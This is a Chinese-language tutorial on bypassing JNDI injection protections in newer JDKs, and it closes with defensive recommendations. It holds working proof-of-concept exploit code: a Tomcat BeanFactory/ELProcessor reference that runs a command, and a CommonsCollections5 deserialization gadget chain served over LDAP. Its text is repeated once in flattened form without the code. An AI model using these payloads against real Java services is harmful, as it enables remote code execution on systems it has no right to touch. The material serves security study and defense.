JNDI注入高版本绕过方式
字数 1361 2025-08-11 17:40:32

JNDI注入高版本JDK绕过技术详解

一、JNDI注入基础回顾

1. JNDI基本攻击流程

  1. 攻击者实现RMI恶意远程对象并绑定到RMI Registry
  2. 编译后的RMI远程对象类放在HTTP/FTP/SMB等服务器上
  3. 受害者RMI客户端在lookup()过程中:
    • 首先尝试本地CLASSPATH获取Stub类定义
    • 本地找不到则向远程Codebase获取恶意对象

2. 利用条件

  • RMI客户端环境允许访问远程Codebase
  • java.rmi.server.useCodebaseOnly属性必须为false

二、JDK版本限制

1. JDK 6u141/7u131/8u121之后

  • 新增com.sun.jndi.rmi.object.trustURLCodebase选项
  • 默认false,禁止RMI和CORBA协议使用远程codebase
  • 仍可通过LDAP协议进行JNDI注入

2. JDK 6u211/7u201/8u191之后

  • 新增com.sun.jndi.ldap.object.trustURLCodebase选项
  • 默认false,禁止LDAP协议使用远程codebase

三、绕过原理分析

高版本JDK主要限制远程ObjectFactory的加载,绕过思路:

  1. 本地ClassPath优先加载机制

    • 先尝试本地加载ObjectFactory
    • 失败后才加载远程地址的ObjectFactory
  2. 关键类javax.naming.Reference

    • 表示对命名/目录系统外部对象的引用
    • 构造方法:
      Reference(String className)  // 基本构造
      Reference(String className, RefAddr addr)  // 带地址构造
      Reference(String className, String factory, String factoryLocation)  // 带工厂类构造
      
    • 重要参数:
      • className: 远程加载使用的类名
      • factory: 需要实例化的类名
      • factoryLocation: 提供classes数据的地址(file/ftp/http)

四、绕过技术详解

1. 加载本地类绕过

条件

  • 找到本地CLASSPATH中满足条件的类作为恶意Reference Factory
  • 必须实现javax.naming.spi.ObjectFactory接口
  • 必须包含getObjectInstance()方法

推荐类

  • org.apache.naming.factory.BeanFactory(Tomcat依赖包中)

示例代码

// 服务端
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, true, 
    "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", 
    "getClass().forName(\"javax.script.ScriptEngineManager\")" +
    ".newInstance().getEngineByName(\"JavaScript\")" +
    ".eval(\"new java.lang.ProcessBuilder['(java.lang.String[])']" +
    "(['calc']).start()\")"));

ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);

// 客户端
Object object = new InitialContext().lookup("rmi://127.0.0.1:1099/Object");

2. 本地反序列化绕过

原理

  • 利用LDAP直接返回恶意序列化对象
  • JNDI注入仍会反序列化该对象
  • 利用本地反序列化链完成攻击

依赖

<dependency>
    <groupId>com.unboundid</groupId>
    <artifactId>unboundid-ldapsdk</artifactId>
    <version>3.1.1</version>
</dependency>

示例代码

// 服务端
e.addAttribute("javaClassName", "foo");
e.addAttribute("javaSerializedData", CommonsCollections5());  // 反序列化payload

// 客户端
Object object = new InitialContext().lookup("ldap://127.0.0.1:4444/dc=example,dc=com");

反序列化payload生成

private static byte[] CommonsCollections5() throws Exception {
    Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", 
            new Class[]{String.class, Class[].class}, 
            new Object[]{"getRuntime", new Class[]{}}),
        new InvokerTransformer("invoke", 
            new Class[]{Object.class, Object[].class}, 
            new Object[]{null, new Object[]{}}),
        new InvokerTransformer("exec", 
            new Class[]{String.class}, 
            new Object[]{"calc"})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    
    Map map = new HashMap();
    Map lazyMap = LazyMap.decorate(map, chainedTransformer);
    TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test");
    
    BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
    Field field = exp.getClass().getDeclaredField("val");
    field.setAccessible(true);
    field.set(exp, tiedMapEntry);
    
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(baos);
    oos.writeObject(exp);
    oos.close();
    return baos.toByteArray();
}

五、防御建议

  1. 升级JDK到最新版本
  2. 设置以下安全属性为false:
    • com.sun.jndi.rmi.object.trustURLCodebase
    • com.sun.jndi.cosnaming.object.trustURLCodebase
    • com.sun.jndi.ldap.object.trustURLCodebase
  3. 避免使用不可信的JNDI查找
  4. 限制应用程序的网络访问权限
  5. 移除不必要的危险类(如BeanFactory)

六、总结

高版本JDK通过限制远程codebase的使用增强了安全性,但通过利用本地ClassPath中的类和反序列化漏洞仍可实现攻击。防御需要综合多种措施,包括JDK升级、安全配置和代码审计等。

JNDI注入高版本JDK绕过技术详解 一、JNDI注入基础回顾 1. JNDI基本攻击流程 攻击者实现RMI恶意远程对象并绑定到RMI Registry 编译后的RMI远程对象类放在HTTP/FTP/SMB等服务器上 受害者RMI客户端在lookup()过程中: 首先尝试本地CLASSPATH获取Stub类定义 本地找不到则向远程Codebase获取恶意对象 2. 利用条件 RMI客户端环境允许访问远程Codebase java.rmi.server.useCodebaseOnly 属性必须为false 二、JDK版本限制 1. JDK 6u141/7u131/8u121之后 新增 com.sun.jndi.rmi.object.trustURLCodebase 选项 默认false,禁止RMI和CORBA协议使用远程codebase 仍可通过LDAP协议进行JNDI注入 2. JDK 6u211/7u201/8u191之后 新增 com.sun.jndi.ldap.object.trustURLCodebase 选项 默认false,禁止LDAP协议使用远程codebase 三、绕过原理分析 高版本JDK主要限制远程ObjectFactory的加载,绕过思路: 本地ClassPath优先加载机制 : 先尝试本地加载ObjectFactory 失败后才加载远程地址的ObjectFactory 关键类 javax.naming.Reference : 表示对命名/目录系统外部对象的引用 构造方法: 重要参数: className : 远程加载使用的类名 factory : 需要实例化的类名 factoryLocation : 提供classes数据的地址(file/ftp/http) 四、绕过技术详解 1. 加载本地类绕过 条件 : 找到本地CLASSPATH中满足条件的类作为恶意Reference Factory 必须实现 javax.naming.spi.ObjectFactory 接口 必须包含 getObjectInstance() 方法 推荐类 : org.apache.naming.factory.BeanFactory (Tomcat依赖包中) 示例代码 : 2. 本地反序列化绕过 原理 : 利用LDAP直接返回恶意序列化对象 JNDI注入仍会反序列化该对象 利用本地反序列化链完成攻击 依赖 : 示例代码 : 反序列化payload生成 : 五、防御建议 升级JDK到最新版本 设置以下安全属性为false: com.sun.jndi.rmi.object.trustURLCodebase com.sun.jndi.cosnaming.object.trustURLCodebase com.sun.jndi.ldap.object.trustURLCodebase 避免使用不可信的JNDI查找 限制应用程序的网络访问权限 移除不必要的危险类(如BeanFactory) 六、总结 高版本JDK通过限制远程codebase的使用增强了安全性,但通过利用本地ClassPath中的类和反序列化漏洞仍可实现攻击。防御需要综合多种措施,包括JDK升级、安全配置和代码审计等。